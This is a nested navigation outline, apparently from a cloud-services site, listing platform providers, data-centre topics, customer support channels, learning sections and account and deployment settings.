        • wsp
      • As a Platform
        • Cloud Platform
          • Alibaba Cloud
          • AWS
          • Azure
          • Cloudflare
          • Container Hosting Service
          • Couchbase
          • DigitalOcean
          • Google Cloud
          • Hetzner Cloud
          • IBM Cloud
          • JFrog
          • Linode
          • Netlify
          • OpenShift
          • Oracle Cloud
          • OVHcloud
          • Render
          • Salesforce
          • Tencent Cloud
          • Vercel
          • Wasabi
          • Zeabur
      • Data Centre (v2)
        • Cooling
        • Fire
        • Power
          • Supply
          • UPS
        • Security
      • Mission Control
        • Status
    • Customer (v2)
      • Bookmarks
        • (To come)
      • Support
        • Contact
        • Forum
        • Live Chat
        • Office Hours
        • Requests
        • Tickets
      • (To come)
        • Feature Vote
        • Feedback
        • Surveys
      • Learning
        • Explanation
        • How to Guide
        • Reference
        • Tutorial
    • Settings (v3)
      • Account
      • Billing
      • Deployments
        • Workspaces
          • Modules
          • Plugins
          • Templates
            • Mission Control
            • Researcher
            • Librarian
            • Training
          • Users